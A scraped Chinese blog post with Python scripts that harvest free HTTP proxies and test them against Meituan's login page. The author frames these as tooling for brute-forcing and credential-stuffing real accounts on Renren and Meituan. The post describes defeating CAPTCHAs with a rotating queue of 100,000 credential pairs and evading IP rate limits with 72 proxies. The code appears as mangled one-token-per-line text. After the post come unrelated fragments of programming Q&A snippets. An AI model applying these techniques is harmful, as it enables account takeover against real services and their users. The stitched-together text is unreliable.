- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章批量获取及验证HTTP代理的Python脚本由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
HTTP暴力破解、撞库,有一些惯用的技巧,比如:
1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略.
我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码.
这样就可以保证2/3的时间都在进行正常破解和扫号.
2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的.
本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/ 。
首先获取代理列表 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from
bs4
import
BeautifulSoup
import
urllib2
of
=
open
(
'proxy.txt'
,
'w'
)
for
page
in
range
(
1
,
160
):
html_doc
=
urllib2.urlopen(
'http://www.xici.net.co/nn/'
+
str
(page) ).read()
soup
=
BeautifulSoup(html_doc)
trs
=
soup.find(
'table'
,
id
=
'ip_list'
).find_all(
'tr'
)
for
tr
in
trs[
1
:]:
tds
=
tr.find_all(
'td'
)
ip
=
tds[
1
].text.strip()
port
=
tds[
2
].text.strip()
protocol
=
tds[
5
].text.strip()
if
protocol
=
=
'HTTP'
or
protocol
=
=
'HTTPS'
:
of.write(
'%s=%s:%s\n'
%
(protocol, ip, port) )
print
'%s=%s:%s'
%
(protocol, ip, port)
of.close()
|
接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#encoding=gbk
import
httplib
import
time
import
urllib
import
threading
inFile
=
open
(
'proxy.txt'
,
'r'
)
outFile
=
open
(
'available.txt'
,
'w'
)
lock
=
threading.Lock()
def
test():
while
True
:
lock.acquire()
line
=
inFile.readline().strip()
lock.release()
if
len
(line)
=
=
0
:
break
protocol, proxy
=
line.split(
'='
)
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
,
'Cookie'
: ''}
try
:
conn
=
httplib.HTTPConnection(proxy, timeout
=
3.0
)
conn.request(method
=
'POST'
, url
=
'http://e.meituan.com/m/account/login'
, body
=
'login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1'
, headers
=
headers )
res
=
conn.getresponse()
ret_headers
=
str
( res.getheaders() )
html_doc
=
res.read().decode(
'utf-8'
)
print
html_doc.encode(
'gbk'
)
if
ret_headers.find(u
'/m/account/login/'
) >
0
:
lock.acquire()
print
'add proxy'
, proxy
outFile.write(proxy
+
'\n'
)
lock.release()
else
:
print
'.'
,
except
Exception, e:
print
e
all_thread
=
[]
for
i
in
range
(
50
):
t
=
threading.Thread(target
=
test)
all_thread.append(t)
t.start()
for
t
in
all_thread:
t.join()
inFile.close()
outFile.close()
|
。
最后此篇关于批量获取及验证HTTP代理的Python脚本的文章就讲到这里了,如果你想了解更多关于批量获取及验证HTTP代理的Python脚本的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
在 JSF2 应用程序中遇到验证属性的问题时,有两种主要方法。 使用 Annotation 在 ManagedBean 上定义验证 @ManagedBean public class MyBean {
我想实现一个不常见的功能,我认为 jquery 验证插件将是最好的方法(如果您在没有插件的情况下建议和回答,我们也会欢迎)。我想在用户在输入字段中输入正确的单词后立即隐藏表单。我试过这个: $("
我有几个下拉菜单(类名为month_dropdown),并且下拉菜单的数量不是恒定的。我怎样才能为它们实现 NotEqual 验证。我正在使用 jQuery 验证插件。 这就是我写的 - jQuery
我设法制作了这个网址验证代码并且它起作用了。但我面临着一个问题。我认为 stackoverflow 是获得解决方案的最佳场所。 function url_followers(){ var url=do
我目前正在使用后端服务,该服务允许用户在客户端应用程序上使用 Google Games 库登录。 用户可以通过他们的 gplay ID 向我们发送信息,以便登录或恢复旧帐户。用户向我们发送以下内容,包
我正在尝试验证输入以查看它是否是有效的 IP 地址(可能是部分地址)。 可接受的输入:172、172.112、172.112.113、172.112.113.114 Not Acceptable 输入
我从 Mongoose 验证中得到这条消息: 'Validator failed for path phone with value ``' 这不应该发生,因为不需要电话。 这是我的模型架构: var
我一直在尝试使用Python-LDAP (版本 2.4.19)在 MacOS X 10.9.5 和 Python 2.7.9 下 我想在调用 .start_tls_s() 后验证与给定 LDAP 服务
我正在处理一个仅与 IE6 兼容的旧 javascript 项目(抱歉...),我想仅在 VS 2017 中禁用此项目的 ESLint/CSLint/Javascript 验证/CSS 验证。 我知道
我正在寻找一种方法来验证 Spring 命令 bean 中的 java.lang.Double 字段的最大值和最小值(一个值必须位于给定的值范围之间),例如, public final class W
我正在尝试在 springfuse(JavaEE 6 + Spring Framework (针对 Jetty、Tomcat、JBoss 等)) 和 maven 的帮助下构建我的 webapps 工作
我试图在我们的项目中使用 scalaz 验证,但遇到了以下情况: def rate(username: String, params: Map[String, String]): Validation
我有一个像这样的 Yaml 文件 name: hhh_aaa_bbb arguments: - !argument name: inputsss des
我有一个表单,人们可以单击并向表单添加字段,并且我需要让它在单击时验证这些字段中的值。 假设我单击它两次并获取 2 个独立的字段集,我需要旋转 % 以确保它在保存时等于 100。 我已放入此函数以使其
在我的页面中有一个选项可以创建新的日期字段输入框。用户可以根据需要创建尽可能多的“截止日期”和“起始日期”框。就像, 日期_to1 || date_from1 日期到2 ||日期_from2 date
我有一个像这样的 Yaml 文件 name: hhh_aaa_bbb arguments: - !argument name: inputsss des
有没有办法在动态字段上使用 jquery 验证表单。 我想将其设置为必填字段 我正在使用 Jsp 动态创建表单字段。 喜欢 等等...... 我想使用必需的表单字段验证此表单字段。 最佳答
嗨,任何人都可以通过提供 JavaScript 代码来帮助我验证用户名文本框不应包含数字,它只能包含一个字符。 最佳答案 使用正则表达式: (\d)+ 如果找到匹配项,则字符串中就有一个数字。 关于J
我有两个输入字段holidayDate和Description(id=tags) $(document).ready(function() {
我遇到了这个问题,这些验证从电子邮件验证部分开始就停止工作。 我只是不明白为什么即使经过几天的观察,只是想知道是否有人可以在这里指出我的错误? Javascript部分: function valid
我是一名优秀的程序员,十分优秀!